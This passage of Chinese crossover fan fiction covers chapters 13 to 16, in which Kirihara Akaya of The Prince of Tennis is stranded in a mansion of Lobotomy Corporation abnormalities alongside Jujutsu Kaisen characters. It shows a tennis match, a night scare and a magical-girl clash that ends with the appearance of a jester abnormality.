而这个时候,X则是看到了发声的存在,他养的可爱“小狗”正伸着舌头歪着头,看着自己,脸上的几只眼睛还在一眨一眨的。
眼见“小狗”拖曳在地上的脏器即将接触到这个可怜的孩子,X第一次在没有ego加持的情况下动作那么快。
切原赤也看着少年飞快地站了起来,将他视线死角的什么东西塞进了衣服里。
那是什么?他很想知道,但是他脑子里的那一根弦却在警示着他。
仿佛,那片未知是他并不愿面对的真相。
金色与墨绿相对,半晌,切原赤也开口:“我可以起来了吗?”
“可以了,你是迷路了吗?”用外套将自己“小狗”包起来的X问。
要是他没记错的话,他好像是在自己家钓鱼吧?
有着一座山头的黑发少年看着这个莫名刷新在自家后山的天选倒霉蛋。
他是怎么在三个魔法少女暴动,外加一只狗在外面溜达的时候进来的?
“我其实是电车坐过站了。”切原赤也耷拉着脑袋,坐在了这个莫名给他压迫感的少年身边,语气恹恹。
“然后你走错路,走进山里来了吗?”X提出合理假设,他家附近确实有一个车站。
“我的意思是,我直接坐进了山里的车站,”海带头的少年的声音放得更低,他也知道自己的话可信度极低,毕竟谁会把车站放进山里?
“结果我刚刚转过身,车站就消失了,真的,我没有骗你!”
可是眼前金眼睛的少年并没有如他预想的一样露出“你脑子坏掉了吗”的神情,反而是若有所思的点了点头。
“我曾经听家里人说过,这座山里的确有一个废弃的车站。”
X拍了拍在衣服里蠕动的一无所有,示意祂不要突然“Goodbye”,语气认真:“你听说过咒灵吗?”
“咒灵?”像是被少年认真的语气唬住,切原赤也的语气也认真起来,他是不是遇到什么漫画里的高人了?
13.愤怒侍从
事实证明,漫画里都是骗人的。
切原赤也看着这两个高的不像话的“专业人士”,这样真的可以解决问题吗?
原本他以为是高人的黑发少年只是一个联络人,他一通电话叫来了这两个人,就捂着衣服里的那团不知道是什么的东西离开了。
“嗯?你问安诺恩君?”夏油杰看着这个疑似被咒灵相关事件卷进来的初中生,无奈的笑了笑,“他确实不是相关人士。”
“可是那位前辈看起来很懂……”
“那是因为他家里的东西可比咒灵可怕多了。”高个子的白毛摘掉了自己的眼镜,专注的看着这个误入的倒霉蛋。
“……”
“悟,你不要故意吓人啊!”夏油杰用胳膊怼了这个吓小孩的坏东西一下,让他收敛一点。
“老子又没说错,他家的那些东西就是比咒灵可怕啊!”
一生顺风顺水,结果只是单纯的看一眼就被混进杂质的五条悟觉得自己很有发言权。
他现在都不敢回想那天看到的东西,再来一次他都不敢保证自己会变成什么样子!
两个高中生吵吵闹闹的跟着切原赤也向前走,完全没想到负责带路的那个人其实是个路痴。
直到……
“我们是不是来过这里?”夏油杰喊停。
“我们来过吗?”带路的孩子露出了“怎么会”的神情。
“嘶,你不会是个路痴吧?”五条悟发现盲点。
“啊!你果然是!”看着这个比自己年纪小上一些的小卷毛露出了心虚的表情,五条悟叫到。
“可是这里长的都一样啊!”索性破罐子破摔的孩子指着附近一模一样的树木。
“而且,那个消失的车站真的还会再次出现吗?!”
“切原君,也许你看不到,可是在我们的视野中,你身上可满是你口中那个消失的车站留下的残秽啊。”
比较靠谱的夏油杰开口解释:“如果这次不彻底解决的话,以后你坐车的时候,又再次误入的风险。”
“等那个时候,你可不一定会出现在安诺恩君的家里……”
言下之意就是,等下一次的时候,这个倒霉的路痴小孩不一定会被传送到什么奇怪的地方去。
“不过你身上的违和感好重……你也被那家伙诅咒了吗?”
吓唬小孩的白毛高中生围着被宣布,“你将会遭遇不幸”的初中生转了两圈。
“你怎么和直哉那家伙一样,感觉时间乱乱的?”
“我的时间?”感觉自己被谜语人包围的切原赤也问。
“我难不成坐了很久的车?!”他要是错过了探视部长,那副部长不得把自己罚死?!
……
“前辈们的意思是……我来到了十年前?!”
看着贡献出手机让他观看时间的五条悟,切原赤也有些崩溃的抱着头,他到底为什么要坐上那班车啊?!
*
“所以!在可爱的悟酱找到那个车站之前,这个小倒霉蛋就先托付给你了!”
背着他被两个高专咒术师捡回来的网球包,可怜的初中生用五条悟的语气复述了一下他刚刚的话。
至于那两个人,在接到了一件紧急任务后,便飞走了,真的是飞走了!
当时还没把自己碎成渣的世界观拼起来的切原赤也,眼睁睁看着那两人像是乘坐着某种他看不见的存在,就那么飞走了!
只不过他们很贴心的将这个小路痴从山里带了出来,定点投放到了安吉罗斯家的门前,要不然这个黑户还真不知道该怎么办呢。
至于为什么没把他带回高专,是因为夏天,大家都出去了,就连他们两个都是卡在任务的间隙才过来的。
而且……虽然没明说,但是五条悟总觉得这个小孩弄不好会被总监部那群老橘子带走去研究一下。
为了孩子的心理健康着想,还是放到怪物窝比较保险,起码安诺恩并不会故意让怪物去吓唬他。
没错,黑发少年确实没有吓唬小孩的癖好,而且切原赤也来的很巧,他这里除了他以外,新添了一位与他外表看起来年龄相差无几的魔法少女。
其名为——愤怒侍从。
新来的魔法少女很喜欢交朋友,而新来的切原赤也也顺理成章的与同样是“新人”的祂交起了朋友。
当然,是在地上。
X已经摸清了祂的喜好,与骑士类似,祂的朋友是最为特殊的,一但祂的朋友死去或者陷入恐慌,祂就会异化。
不过切原小朋友并不是她的第一位朋友,第一位朋友承担的风险太大了。
“你也想要玩网球吗?这对于你来说……太危险了。”
孩子的话语尽可能的委婉,在他的眼中,这个绿色的女孩,并不是那么健全。
她的双眼被白色的绷带层层缠住,不知是不能见光,亦或是干脆她其实是个盲人。
可无论是哪一种,像网球这样跑来跑去的运动还是过于危险了。
女孩摇了摇头:“我可以的,绷带……只是装饰而已。”
“真的没问题吗?”小少年问路过的员工。
“诶?”一般路过文职突然受宠若惊,异想体管理事项,问他?真的假的?
不过即便他没有真正的去管理过异想体,但是这件事情他还是清楚的,那就是——不要轻易拒绝异想体的要求,否则会变得不幸。
当然,也有一定概率,答应了也会变得不幸,只不过后面这种可能就全看运气了。
于是不知名路过文职先生对着即将与异想体打网球的勇士小朋友竖起了大拇指。
“加油啊!”
接受到鼓励信号的切原赤也:“?”
这是……同意了的意思吧?也许是穿着西装的文职先生身上的精英感过重,也许是出于对成年人的信任。
总之,他们站在了一片现布置好的网球场上。
文职先生和他的小伙伴们用高效的后勤保障能力现收拾了一个像模像样的网球场出来。
说实话,他第一次对于网球这项运动有点紧张,对面的女孩真的能行吗?
啪的一声,黄色的小球飞了出去。
遭了!他刚刚那球是下意识打出去的!
穿着短裤的女孩安静地站在那里,配合上她蒙在绷带下的双眼,看起来十分无助。
可下一刻,黄色的小球却突然以刁钻的角度被打了回来。
好快!要不是切原的动态视力极好,他几乎要看不清那枚黄色的小球。
更别
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提接了,只不过,女孩明显不清楚网球的规则,她更像是单纯的把球打出去。
所以,现在那枚小球正以超高的速度离开了他们,奔向远方。
“啊……”球的速度极快,几乎是一瞬间,就消失在了切原的视野中。
不过,这也证明,绷带对于女孩而言真的没有任何阻碍。
而且……女孩这种蛮横的身体素质……
立海大附中的切原选手总觉得比起自己陪她玩,更像是她在陪自己玩。
总觉得,自己回去之后,可以惊艳所有人了……
喘着粗气,光是接球就疲于奔命的切原同学想。
他完全没注意到,站在一旁的文职先生看怪物一样的眼神。
*
也许是累过头了,又或者是心里一直在惦记着十年后的事情,总之在凌晨两点钟的时候,借宿在安吉罗斯家的初中生醒了。
窗帘的遮光性好过头了,外面的月光完全没有透进来,屋内伸手不见五指。
切原赤也捋了捋自己炸开的头发,摸索着电灯开关的位置。
一阵低低的声音传来,似乎有人在说话?
下意识地,孩子停下了动作,准备听清楚声音的来源。
脑子里却突然回放起了收留自己的好心人在睡前的叮嘱:
「在夜晚不要轻易出门,要是听到什么奇怪的声音不要开门,有人敲门也不要应答,我们晚上是不会去打扰你的。」
这时,他已经摸到了开关,下意识地,啪嗒一声轻响,柔和的光洒落下来,冲淡了他刚刚突兀升腾而起的恐惧。
还未等他松口气,下一刻,像是察觉到这里有人苏醒一般,咚咚的敲门声响了起来。
救命啊!真的会有人敲门吗?!安吉罗斯前辈不像是会大半夜恶作剧来吓人的性格啊!!
而且……敲门的位置好低!低过头了!这就像是有一个人倒着敲……或者干脆是趴在地上敲门的一样!
可怜的初中生吓得一动不敢动,生怕下一刻,他脑海中的恐怖影像就会化为现实,破开那扇脆弱的门。
而门外的存在,完全不知道门内人的心理活动,祂只是太高兴了,在摇尾巴而已。
波迪摇着祂的小尾巴,尾巴尖不断的拍着身后的门,发出轻微的咚咚声。
而在他的前方,另外一只“狗”手中正拿着一根森然的白骨,这是祂路过某一条走廊的时候,顺手捡的。
可爱的“狗狗”试图去提供第二天的叫起床服务,谁知道有另外一只小狗因为祂手中的骨头跟上了祂。
等祂发现的时候,波迪已经走到了这里,为了稳居“最可爱小狗”的宝座,一无所有决定使用道具。
祂跳了起来,使用头顶的人手将骨头远远地甩了出去,眼见那只愚蠢的小狗哒哒哒地跑开。
一无所有发出了不屑的“hello”声。
无论是两只“小狗”还是小狗的主人,谁也没想到有一个可怜小孩因为两只狗的深夜溜达被吓得睡不着觉。
尤其是……他听到了远去的脚步声刚刚松了一口气,可是门外却突然传来一声似曾相识的“hello”声时,莫名的冷意从脚底升起,一直走到头顶。
他知道,今晚他估计睡不成了。
14.一无所有
“切原君,你还好吗?”
第二天,每一个路过这个精神萎靡,眼下挂着黑眼圈的孩子时,都会这样问候。
昨晚他因为那一声“hello”,吓得一宿没有合眼,直到太阳出来后,才心惊胆战的闭上了眼睛睡了两个小时。
“诶?昨晚真的有人去敲门了?!”
和他混了个面熟的不知名先生,哦不,现在切原已经知道了他的名字,虽然和不知道没有什么区别。
这个给他一种精英上班族的先生没有一个准确的名字,他的名字是Delta23。
没错,他的名字甚至像网名一样有着数字后缀。
总之这位在切原赤也眼中,只在教科书上出现过的希腊字母先生很是吃惊。
据他所知,昨天晚上一个搞事情的异想体都没有,就连他们文职都活的好好的,哪里会有什么“人”去敲小孩的门?!
“那个东西……还对我说了hello,是外国的幽灵吗?”
听着孩子的话,正巧路过的,编号31的Delta小姐插嘴道:“是一无所有吧,今天主管是带着祂下来的。”
一无所有……听起来更像是什么都没有的幽灵了!
两个文职相互对视一眼,看着小孩越来越难看的脸色,宽慰道:“那个不是幽灵……你可以把祂当成会说话的小狗。”
“人面狗吗?!”
孩子的脸色已经开始发青了,这比幽灵还要恐怖吧!
“你们在说什么呢?”刚从地下上来的X看着这个借宿在自家的孩子发青的脸,有些奇怪。
两个文职七嘴八舌的说了刚刚他们了解的事情。
却发现黑发少年突然掏出了一只可爱的小狗,比波迪还可爱的那种。
“好可爱的小狗……快让我抱抱!”Delta小姐突然不受控制地伸手想去摸摸这种可爱小狗。
“Goodbye。”可爱的小狗发出了一无所有的声音。
Delta先生紧急给了同事一巴掌,试图让这个倒霉蛋醒过来,这是他们文职能抱的吗?!
X看着文职的反应,揉了揉手里的“可爱小狗”,他好像把反向认知滤网开大了。
不过……安慰小孩倒是正好。
“这就是昨晚说话的小狗,”他将“可爱小狗”举了起来,“不是什么可怕的人面狗。”
是啊,人面狗可没祂可怕,Delta先生在心里说到。
*
“因为悟君他们很忙,所以我来帮忙了。”
突然登门的,某个染了金发的禅院大少爷说。
当然,这件事是悟君开口了,要不然他才不管高专的死活。
只不过,在家里窝了那么久,出来活动一下,稍微帮一下忙,也不是不行。
所以他来了。
莱茵哈特看着自己眼前骄傲无比,脸蛋红扑扑,有些压抑不住嘴角的某个家伙,缓缓打出一个问号。
他怎么感觉这个场景那么眼熟呢?
眼见这个莫名骄傲的家伙,熟门熟路的挤开自己,一边左顾右盼一边向里面走,边开口:
“主管呢?”
“他去调反向认知滤网了,你注意一点……”不要说漏嘴了。
莱茵哈特的话卡在了嘴里,他眼睁睁的看着某位大少爷一把把反向认知滤网开大了的一无所有抱在了怀里。
“好可爱的小狗!”
金发少年满心满眼都是那只可爱到不行的小狗,他不是很喜欢狗的人。
可是,这只狗看起来就像是他们家古籍中记载的玉犬那样可爱!
还带着红晕的脸蛋贴上了“可爱小狗”的脸颊,禅院直哉刚蹭了一下就发觉了不对,这个触感……为什么是皮肤的感觉?!
宛如一盆冷水浇下,他不甚清醒的脑子突然拉起的警笛,这不是狗……那这是什么?
还没等他的身体反应过来,他就觉得自己的脸颊被什么东西重重的击打了一下。
莱茵哈特还没来得及把这个作死,把一无所有抱起来的冒犯家伙给拉开,就看到他径直飞了出去。
“可爱小狗”使用自己头顶的手给了这个讨厌的家伙一巴掌,发出了“help”的声音。
切原赤也刚从房间里出来就看到有一个黑色的家伙从自己眼前飞了过去,重重的砸在了走廊尽头的柜子上。
飞出去的禅院直哉咳出了一口血,他及时调动了咒力,护住了自己较为脆弱的内脏,要不然就这一下,他搞不好就得去那个阴险的灰毛部长那里报道了。
一个卷毛脑袋伸到了被打飞的金发少年面前:“你没事吧?”
“你看我像没事吗?”差点被打死的禅院直哉阴阳怪气的反问。
“你就是悟君说的那个倒霉蛋吗?”禅院直哉一边吸着冷气,一边从地上爬了起来,看着眼前这个陌生的小鬼。
“你身上背的是什么?咒具?还是新的ego?”他的视线聚集在切原的包上。
“你在说什么?我听不懂,我背的当然是网球包啊?”
“网球?”禅院直哉都顾不上痛了,呆呆的重复了一下那个词。
“对,网球,不是我吹,我可是立海大附中的王牌选手哦!”
这个家伙叽里咕噜说什么呢?禅院直哉看着这个眉飞色舞的家伙,百思不得其解。
这家伙难不成在这里打网球吗?他难道不怕自己被异想体当成网球打吗?
莱茵哈特终于把某个“可爱小狗”的情绪安抚下去了,他急急忙忙来看这个不回来还好,一回来就开始作死的小孩。
“直哉,你还活着吗?”
“没死。”被“小狗”扇飞的禅院直哉摸了一把脸上的血,疼的嘶了一声,他破相了,那个狗抓了他的脸一把。
“见了鬼了!到底是谁把一无所有变成那个鬼样子的!”禅院少爷怒不可遏。
他已经完美锁定了嫌疑异想体,那个位置上的手,包是一无所有的!
“主管在实验反向认知滤网。”莱茵哈特望着此刻捂着脸,正在抱怨的禅院直哉。
禅院少爷怒了一下:“那你怎么不阻止我!看热闹很有意思吗?!”
“嗯?你们在说一无所有吗?”切原赤也问,可是那不是很可爱的小狗吗?只是会说
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话比较特殊罢了。
“怎么?就连你这种人也要来嘲笑我吗?”
“不……那不就是一只小狗吗?为什么你会飞出来?”
“哈——?”
这家伙是脑子坏掉了吗?
“咳咳!”莱茵哈特示意直哉住嘴。
捂着脸的大少爷斜了一眼这个嗓子痒的家伙:“你嗓子不舒服就去喝水。”
莱茵哈特差点被这个不懂眼色的家伙气死,他那是嗓子不舒服吗?他是让他闭嘴!
“你跟我来!”文弱的青年一把将禅院直哉薅了起来,连拖带拽的离开了满头问号的切原赤也。
切原赤也目送着突然力大无穷的莱茵哈特离开,疑惑的挠头。
“所以,你的意思是,主管为了那个小子,特意调了一无所有的外观?!就为了他!!”
“嘘!你小点声,那个孩子什么都不知道,主管也是因为这一点才做的。”
半边脸血糊糊的少年嘴巴张张合合,欲言又止,最后只憋出来一个“哦”。
晚上,依旧是之前居住的房间,治好伤的禅院直哉在床上滚来滚去,百思不得其解。
“不是!凭什么啊!”
莫名愤怒的禅院大少爷从床上一跃而起,可是他起来又能去干什么呢?
去质问主管?他会被一无所有扇成陀螺……可恶!难道就这么算了吗?
辗转反侧间,将一头金发滚得乱糟糟的禅院少爷好像听到了什么奇怪的声音。
托咒力强化身体的福,他的听力要比常人好上许多。
好像是有人在尖叫,嗯,很熟悉的声音,就像是有异想体异化之后开始攻击人一样……
他腾的一下坐起来,为什么会有异想体大半夜攻击人?!
*
“你不觉得这几天女王的精神状态越来越不好了吗?”
“唉,国王也……”
他们一同看向了被骑士加护的幸运儿:“还是骑士好啊。”
坐在一旁的“朋友”叹了口气:“我心里总有些发慌。”
“怎么?侍从的性格很温和啊?你看祂还能和新来的小孩玩网球。”
“就是这点,祂太正常了,那个孩子真的是异想体吗?”
三人同时用诡异的目光看向“朋友”,半晌,穿着魔法少女同款裙子的女性问:“你是否清醒?”
穿着黑金配色西装的女性开始扒“朋友”的眼皮,试图看清里面是否有什么寄生物。
被骑士加护的女性抽出了自己的长剑,准备见势不妙就先给他来一下。
“你们不要那么紧张,”他挣脱同事的手,拯救了几乎要被抠出来的眼睛,“说真的,祂太正常了。”
“这里看起来正常的异想体可不只是一个两个,不要被这些怪物迷惑了!”红发女性呵斥道。
“部长。”几个凑在一起的“魔法少女”向红发女性问好。
“你们盯住他,”卡莉压低了声音,“那个新来的异想体应该已经影响到他了。”
说完,这位高挑的,极具压迫感的女性才离开,她要去找主管反应一下这件事。
15.青林隐士
愤怒侍从那位怀着心事的“朋友”在一次意外中死去了。
他瘫倒在地的身体迅速腐坏,整个人皱缩成一团,而后像是被寄生了一般迅速舒展。
皮肤铁青,布满树皮般皱纹的“存在”于“朋友”本该年轻的身体中复苏。
祂高举手中的木杖,兜帽上硕大的单眼图案昭示着他与那位蒙起双眼的魔法少女之间的联系。
祂不同于被魔法少女需要的“朋友”,这个正身不明的存在反而开始呼唤起了魔法少女。
祂不仅仅自己独身一人,祂召唤出了衍生的,与木杖质感相同的“木偶”,而后便目标明确的向着魔法少女所在的方向而去。
“我亲爱的朋友,我感受到了你对我的呼唤。”
将自己遮掩在斗篷下的存在说着,手中的木杖指向了阻挡祂的“阻碍”。
“请将道路让开。”祂十分礼貌。
可是,回应祂的只有沉默与机械运转时低微的轻响。
在自己刀刃上缠了清理工具,试图履行自己真正职责的小帮手:?
祂也没挡路啊?
祂只是一个小小的,圆圆的小机器而已,这里路那么宽,这个家伙是在找茬吗?
祂刚刚都打算把那个倒霉蛋的尸体搬走了,结果这个家伙直接把尸体穿走了。
不仅仅阻碍了自己的清洁工作,居然还来嫌祂碍事?!
通体雪白的可爱小机器人的目光突然犀利起来,看来……该清扫的目标增加了。
不……本来祂也是寄宿在祂的清扫目标上的“垃圾”。
低微的机器嗡鸣声突然高昂,高速旋转的刀具将小帮手努力系在上面的清洁工具搅得粉碎。
圆圆的小机器人就这样冲向了挑衅自己的“垃圾”。
……
这个鬼东西,不讲武德!
被拆成八块的小帮手光溜溜的躺在地面,几只机械臂横七竖八的摆在一边。
从与自称为青林隐士的家伙接上手之后,小帮手就知道,自己不是祂的对手。
可是!祂明明趁着对方没自己动作快的情况,先发制人,青林隐士的斗篷对于祂高速旋转的切轮来说像是一张脆弱的纸片。
就连祂的躯体也脆弱得不像话,小帮手还以为这个家伙是个新来的T级,结果,突然自信的小机器被狠狠阴了一手。
祂锁血啊!
这个阴险的干巴尸体顶着祂的伤害硬生生把祂的机械臂都卸掉了!
“为什么你要阻碍我呢?”隐者的声音一如既往的平稳,就好像刚刚差点被切成八段的不是自己一样。
有着自己目标的隐者并没有给动弹不得的小帮手最后一击,就好像祂知道这样是最省事的方法一样。
像是这样的半残的异想体是最省力的,祂不会复生之后恢复行动能力,要是一直没被人发现,祂就会这样,像一个报废机器一样趴在那里。
“朋友啊,你也感受到我的呼唤了吧。”
与僵尸形象在某些地方微妙重合的隐者感受着脚下细微的颤动,僵硬地扯动皱缩的脸皮露出了一个奇怪的微笑。
走廊尽头,一只通体红色的壮硕怪物正一步步向着祂走来。
那只宛如某种蜥蜴怪物的存在重重的踩在地上,硬质的,类似于某种有蹄动物的双脚让地板不住的震动。
本该是双手的位置被一对双面锤取代,锤身正不住地向下流着具有腐蚀性的液体,液体落在地面,发出滋滋的响声。
“啊啊啊啊啊!”
怪物发出了愤怒的嘶吼,莹绿色的液体从祂张的极大的嘴角溢出,祂脚下的地板甚至被腐蚀出了一个小洞。
充满肌肉的身躯弹跳力极强,几乎是瞬间就能从原本的备注冲到了隐士的面前。
宛如失去理智一般,充满毒素的怪物挥舞起了双臂。
祂要将这个欺骗祂的混蛋撕成碎片!
可是刚刚行动还极为迟缓的隐士却像是换了一个人,洒落的毒液对于祂来说与普通水滴并无差别。
明明祂在这只直立起来的蜥蜴怪物面前渺小干瘦的宛如蝼蚁,可是祂仅仅是轻轻的挥动手中的木杖,极具压迫感的怪物便被打飞出去。
鲜红色的怪物被这一击打出了一条极长的伤痕,具有腐蚀性的莹绿色液体从伤口中涌出。
几个试图去回收小帮手的可怜文职被莹绿色的液体洒了一身,连惨叫都未曾发出,便融化成了一滩水,仅有特制的制服留在原地。
不远处的房间内,蓝发的魔法少女心底狠狠一跳。
祂的星星魔杖像是感知到了什么一般,围着少女转了两圈。
“邪恶!有邪恶出现了!”
原本蔫巴巴趴在桌子上的少女一把抓过了转来转去的魔杖,冲出门去。
“到我出场的时候了!无论是什么样的邪恶,我都会打倒给你们看……”
等看清眼前的场景后,魔法少女浅色的瞳仁颤了颤:“啊……即便如此,我也要维护正义!”
无差别的攻击平等的降临在正在播散腐蚀毒液的愤怒侍从与不断召唤木偶人的青林隐士身上。
可是没有一个异想体去搭理这个像局外人一样的魔法少女……
直到……被指挥的员工在稳定压低隐士血线的时候,被这对“交心的朋友”一套毒液加木杖的组合技送走。
欺骗过愤怒侍从的隐士看准了阻碍们的空隙,让致命的液体精准的飞溅而出,成功拖慢了他们的攻击速度。
“祂是故意的。”被按在座位上的黑发少年望着眼前的场景。
也许不是“熟人”的缘故,青林隐士与愤怒侍从从某种意义来说,有着很大的不确定性。
而屏幕内,不知为何仅拥有对愤怒侍从特攻的青林隐士:“我亲爱的朋友,你为何愤怒,是因为你的同伴抛弃你了吗?”
祂巧妙的将憎恶女王的无差别攻击换了一种解释。
而回应祂的仅有怪物的嘶吼,祂不会再听信这个人的花言巧语了!
祂在这里过得很好!祂绝不会允许祂再度将自己的世界导向终局!!
魔法少女掐着距
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离,开始诵念咒语蓄力。
可这位不知为何出现在这里的隐士话风一转,祂在躲避攻击的同时,向魔法少女提问:
“我知道你,与我亲爱的朋友有着同样意志的伙伴。”
“你现在的行为是出于你的内心吗?正义与邪恶对你而言又是何种定义?”
“邪恶之人的话语对我没有作用,”蓝发的少女看着这个花言巧语的骗子,坚定道,“我只知道,你是邪恶的存在就够了。”
“哦?那你的所作所为又算什么呢?”隐士嘶哑的声音中带上了笑意。
什么?
魔法少女还未理解隐士话中的含义,手下的动作却未停下。
粉色的激光自魔法阵中射出,极限的卡在了员工的面前,将青林隐士整个笼罩了进去。
“呜……”有什么人在低低的哭泣。
受到骑士加护的员工死去了,死在了魔法少女的激光下。
“怎么会……?我……我明明算好了……”魔法少女抓着头发,不可置信的看着被隐士抓在手中的人,不,尸体。
“我……不是正义的吗?我做了坏事?”蓝发少女不受控制的低喃着。
原本如使臂指的法杖像是审判一样将祂穿透,这是对她信念的全盘否定,祂被“正义”拒绝了。
X看着自己仅有的四个魔法少女,颇有些头疼,他有四个,可是现在有三个都疯掉了,还有一个不停挑火的隐士在那里说话。
“先暂停……”可以说大多数时候都掌握着这座宅邸“时间”的黑发少年的话卡在了嘴里。
他没有选择停止时间,那为什么屏幕内的时间停下了?
不,时间没有真正意义上停止,里面依旧有可以行动的存在,他的四名“魔法少女”。
没错,四个,唯一一个在睡觉的贪婪女王也出来了,只是祂没有任何破坏或者伤害那些被控制了时间的人们。
而是加速的朝着某一个方向而去,而其他的魔法少女也是一样,那个花言巧语的隐士此刻正如祂的名字一般,已经隐去了。
有的只有突兀出现的祭坛,以及……四只围在祭坛边上的,呈现出或疯狂,或怪物形态的“魔法少女”们。
黑白色的画面逐渐褪去,显露出本该拥有的色彩,可是魔法少女们的颜色依旧凝固着,祂们变成了黑白色的雕像。
在祭坛的正中间,明明是在哭泣,可是嘴角依旧上扬着的小丑正直视前方,直视着透过屏幕与祂视线相对之人。
“我需要去和祂谈谈。”X感知到了小丑对于自己的邀请,对安吉拉说。
“请允许我一同前往。”一直安静旁观一切的女性制止了少年孤身一人的行为。
这是怎么一回事?她想。
为什么这里会出现一个她完全不知道的异想体?甚至是完全没有记录的存在?
她的记忆库完全没有任何问题,可是她绝不记得那只小丑样貌的异想体的存在。
安吉拉知道愤怒侍从,祂是被送完支部的异想体之一,可是这个小丑究竟……
16.虚无弄臣
黑与白的空间一片静默,只有二人的脚步声,以及在地下深处,不时的响起的铃铛声。
等X进入到祭坛所在的房间时,戴着尖角帽的小丑正在无聊似的摇晃着自己的身体,帽子尖角上的铃铛正发出轻微的响声。
打扮的神似扑克牌上「Joker」牌的小丑向着进入房间的二人深深地鞠了一躬。
“你的名字是?”
黑发少年看着眼前的小丑,他可以感受到对方的特殊性。
那是完全不受控的感觉,上一个给他这种感觉的还是三只鸟一起发疯的时候,合体而成的“大怪兽”。
那只名为天启的鸟儿是独立于异想体之外的存在,并不像他其他的异想体那样便于沟通。
虽然在解决了那次混乱的事态之后,祂也可以算作他们家的编外异想体,只不过祂出现的条件过于苛刻。
所以他家里只有站在枝头上摇晃着身体的小鸟与祂呆在地下的小伙伴们。
隔着一层面具,X不能看到这位小丑的具体表情。
「请称呼我为弄臣。」
这就对了,X看着面前的人员配置,人齐了,心里原本悬着的另一只靴子也落下了。
国王,王后,骑士与侍从,这些在地位上位于高处的人们缺少一个用来取乐的人。
这样说来,「弄臣」宛如「Joker」牌的打扮就不是倾向于小丑,而是回归了最初的概念。
在中世纪的宫廷内,弄臣最经典的形象就是「Joker」。
「我感知到了,憎恶,愤怒,贪婪与绝望。」
弄臣「说着」,围着四尊雕像踱步,祂们在向自己倾诉,「自己」在倾听到了这些魔法少女的呢喃,可是祂又能做到什么呢?
祂也只能做到倾听,再按照自己原定的道路前进着,前进着,直到……回到原点。
就像是那些魔法少女,祂的陛下们,祂所需要去倾听的大人物那样,总会回到原点,回到「虚无」的本质。
“你想要完成祂们的心愿?”X仰着头,看着比自己高了很多的雕像。
他平视着转了一圈,又回到原点的弄臣,问。
「您很敏锐,」小丑抬起头,祂顺着面具孔洞溢出的液体更多了,就好像祂其实是在哭泣一般。
「您已经看到了吧,这些魔法少女所行之事,自顾自对于爱与和平的憎恶,被信条蒙蔽双眼的愤怒,对于幸福放纵的贪婪以及……守护失败的,没有尽头的绝望。」
「您真的会觉得祂们可以走出这一切循环吗?」
说到最后时,弄臣所佩戴的那张扬着嘴角的面具几乎要贴上黑发少年的脸。
“你想说,这一切都是毫无意义的虚无吗?”
弄臣原本准备退开的动作一僵,像是被说中了。
「难道不是吗?!」
原本还在平和地交谈着的弄臣突然像是歇斯底里的王后那样拔高了声音,尖叫起来。
「这一切都是毫无意义!让一切回归虚无不好吗?!」
黑与白的空间像是感受到操纵它们的人内心的不稳那样,开始细微地震动。
黑发少年已经做好了自己上去和弄臣打一架的准备,看来这位魔法少女负面情绪的集合体没有那只可爱的鸟儿那样容易说服。
可是一阵光过后,他的面前出现了四个人,里面有三个他都认识。
*
建筑地上部分。
一个鬼鬼祟祟的禅院直哉探出头来,在这个地方,像一个疑神疑鬼的神经病才能保证自己的生存率。
听那个克洛伊说,这里之前的环境要比现在恶劣多了,如今对待他们还算得上友善的异想体各个会想尽方法置他们于死地。
说话时,橘发的姑娘还摆出沧桑的表情,就差吸上一支烟。
禅院直哉对此表示怀疑,毕竟现在的生态环境也好不到哪里去,他走在路上都容易被什么奇怪的东西给弄死,虽然不会真的死去就是了。
深夜,一片平静,好像所有人都陷入了梦乡,就连偶尔会出来溜达的异想体都没有。
谨慎的禅院大少爷刚刚将左脚伸了出去,人还没等离开目前身处的转角,整个人便眼前一花,紧接着腿上一凉,他的裤子不见了。
不对!在这里呆过一段时间的禅院直哉反应过来,这件突兀替换掉自己衣服的裙子有些眼熟啊……这不是贪婪女王的裙子嘛?!
对,这件衣服不像是普通的制式EGO,倒像是直接在异想体身上一比一复刻的版本,这到底是怎么回事?
与他有同样疑问的还有五条悟。
他甚至不是住在这里,他只是和夏油杰坐着虹龙从上空路过而已,他还要赶回学校交任务!
结果就是,夏油杰刚刚还在和自己同学聊一些没营养的话题,下一刻却发现自己的同学原地消失了。
流着奇异刘海的高中生呆愣地看着空无一人的身后,在几乎要把虹龙的嘴掰开,检查一下自己抽象的同学会不会在它嘴里的夏油杰:这对吗?五条悟哪去了?!
难不成这小子不想因为没放帐被夜蛾老师骂,所以干脆把自己丢下跑路了吗?!
穿着深蓝色礼服的五条悟打了个喷嚏,结果一回头就看到了穿着金色裙子的禅院直哉。
“哟!好巧啊,你也来穿裙子了啊,让老子给你拍一张照片给你爸爸看……”说着,他开始摸索起自己的手机,准备给禅院姓小少爷来一次十连拍。
“奇怪?我手机呢?”摸了半天发现自己目前的衣服没有口袋的五条悟痛失拍照良机。
而另外一个人的表情就不像两个勾肩搭背的大少爷那样美妙了。
羂索尽可能的让自己不那么起眼,可他身上那条玫粉色的蓬蓬裙让他无论如何都显眼的不能再显眼,真是见鬼了!
如果他没记错,他好像只是执行着加茂主家下派的普通任务而已。
让他去监视一栋宅邸,这个任务十分枯燥,甚至还能三班倒,只需要记录下来日常的人员进出就可以。
要不是羂索临时夺舍了这具身体,而且短时间内还没有更好的身体,他才不会来这里干这么奇怪的工作。
在某种角度来说,他确实不用干了,他现在直接被送到了现任六眼的眼睛底下了!
他可认识那个正在笑得要昏过去的白毛,那就是五条悟!
长相普通,穿着粉色裙子的青年人左看右看,视线锁定了一个蹲下身,正在查看着一个躺倒在地的身影的黑发少年。
X正在看着躺在自己边上的天选倒霉蛋,切原赤也。
卷发的孩子睡的很香,完全没发现自己换了一个地方,不仅离开了床甚至还被某种神秘存在换了衣服。
他此刻正躺在地板上,像是有些冷地拉了拉自己身上的衣服。
“请问,你知道这是哪里吗?”正在思考该把这个孩子怎么办的黑发少年身后传来了一道陌生的声音。
X闻声抬头,看到了一个额头受伤的人,刚刚离得远,他的注意力还都在睡觉的切原赤也身上,倒是把这个陌生人忘了。
而另一边,正在应付五条悟的禅院直哉看到了正鬼鬼祟祟靠近他家主管大人的不明人士。
他拽着五条悟三步并两步的挤了过去。
“我见过你,加茂家的人。”
金发少年的语气中带着抹不去的倨傲,与原本被高压环境逼出来的礼貌截然不同,这才是禅院直哉面对低等级咒术师的本来面目。
被点破身份的,加茂家的某位不知名人士看了看目前的人员构成,试图遮掩一般将自己额头上的绷带紧了紧,就差拿袖子把额头盖住了。
